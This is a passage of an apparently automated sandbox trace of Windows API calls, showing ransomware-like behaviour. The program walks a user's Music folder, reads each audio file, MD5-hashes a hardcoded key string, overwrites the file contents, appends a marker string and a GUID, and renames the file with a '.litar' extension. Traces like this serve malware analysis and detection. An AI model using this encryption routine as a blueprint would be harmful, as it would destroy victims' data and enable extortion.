lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.749] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x14ffe, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x14ffe, lpOverlapped=0x0) returned 1 [0126.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.749] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15003, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.749] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.749] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.749] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.749] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.750] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.750] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.750] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.750] CloseHandle (hObject=0x624) returned 1 [0126.751] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.751] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.751] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\sHdKY9oX2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\shdky9ox2.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\sHdKY9oX2.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\shdky9ox2.m4a.litar")) returned 1 [0126.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.752] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.753] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.753] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75614840, ftCreationTime.dwHighDateTime=0x1d4d2cf, ftLastAccessTime.dwLowDateTime=0xa32de610, ftLastAccessTime.dwHighDateTime=0x1d4c565, ftLastWriteTime.dwLowDateTime=0xa32de610, ftLastWriteTime.dwHighDateTime=0x1d4c565, nFileSizeHigh=0x0, nFileSizeLow=0x1143b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="smH64uN0q8.wav", cAlternateFileName="SMH64U~1.WAV")) returned 1 [0126.753] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.753] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.753] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.753] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\smH64uN0q8.wav") returned=".wav" [0126.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\smH64uN0q8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\smh64un0q8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.754] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=70715) returned 1 [0126.754] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.756] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11415, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.756] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.758] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.758] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.758] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.758] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1143b, lpOverlapped=0x0) returned 1 [0126.759] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.759] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.759] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.759] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.759] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.760] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.760] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.760] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.760] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.760] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.760] GetLastError () returned 0x0 [0126.760] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.760] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.760] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.760] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11440) returned 0x30fa0b0 [0126.760] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.760] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.760] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x11436, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x11436, lpOverlapped=0x0) returned 1 [0126.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.761] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1143b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.761] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.761] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.761] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.761] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.761] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.761] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.761] CloseHandle (hObject=0x624) returned 1 [0126.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.762] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.762] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\smH64uN0q8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\smh64un0q8.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\smH64uN0q8.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\smh64un0q8.wav.litar")) returned 1 [0126.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.763] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.764] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa667790, ftCreationTime.dwHighDateTime=0x1d4cca3, ftLastAccessTime.dwLowDateTime=0x62541e30, ftLastAccessTime.dwHighDateTime=0x1d4c645, ftLastWriteTime.dwLowDateTime=0x62541e30, ftLastWriteTime.dwHighDateTime=0x1d4c645, nFileSizeHigh=0x0, nFileSizeLow=0x1ae2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v _P9.mp3", cAlternateFileName="V_P9~1.MP3")) returned 1 [0126.764] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.764] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.764] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.764] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\v _P9.mp3") returned=".mp3" [0126.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\v _P9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\v _p9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.765] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=6882) returned 1 [0126.765] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.767] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1abc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.767] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.768] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.768] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.768] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.768] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1ae2, lpOverlapped=0x0) returned 1 [0126.769] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.769] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.769] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.769] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.769] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.770] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.770] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.770] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.770] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.770] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.770] GetLastError () returned 0x0 [0126.770] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.770] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.770] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ae0) returned 0x30fa0b0 [0126.770] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.770] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1add, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1add, lpOverlapped=0x0) returned 1 [0126.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.770] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1ae2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.770] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.771] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.771] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.771] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.771] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.771] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.771] CloseHandle (hObject=0x624) returned 1 [0126.772] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.772] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.772] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\v _P9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\v _p9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\v _P9.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\v _p9.mp3.litar")) returned 1 [0126.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.772] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.773] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261a4790, ftCreationTime.dwHighDateTime=0x1d4ca83, ftLastAccessTime.dwLowDateTime=0x1fc92f10, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0x1fc92f10, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x11621, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ylebE_y3_yj.m4a", cAlternateFileName="YLEBE_~1.M4A")) returned 1 [0126.773] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.773] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.773] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\ylebE_y3_yj.m4a") returned=".m4a" [0126.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\ylebE_y3_yj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\ylebe_y3_yj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.774] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=71201) returned 1 [0126.774] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.776] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x115fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.776] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.777] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.777] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.777] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.777] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x11621, lpOverlapped=0x0) returned 1 [0126.778] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.778] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.778] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.778] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.778] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.779] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.779] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.779] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.779] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.779] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.779] GetLastError () returned 0x0 [0126.779] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.779] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.779] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.779] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11620) returned 0x30fa0b0 [0126.780] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.780] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1161c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1161c, lpOverlapped=0x0) returned 1 [0126.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.780] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11621, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.780] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.780] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.780] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.780] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, 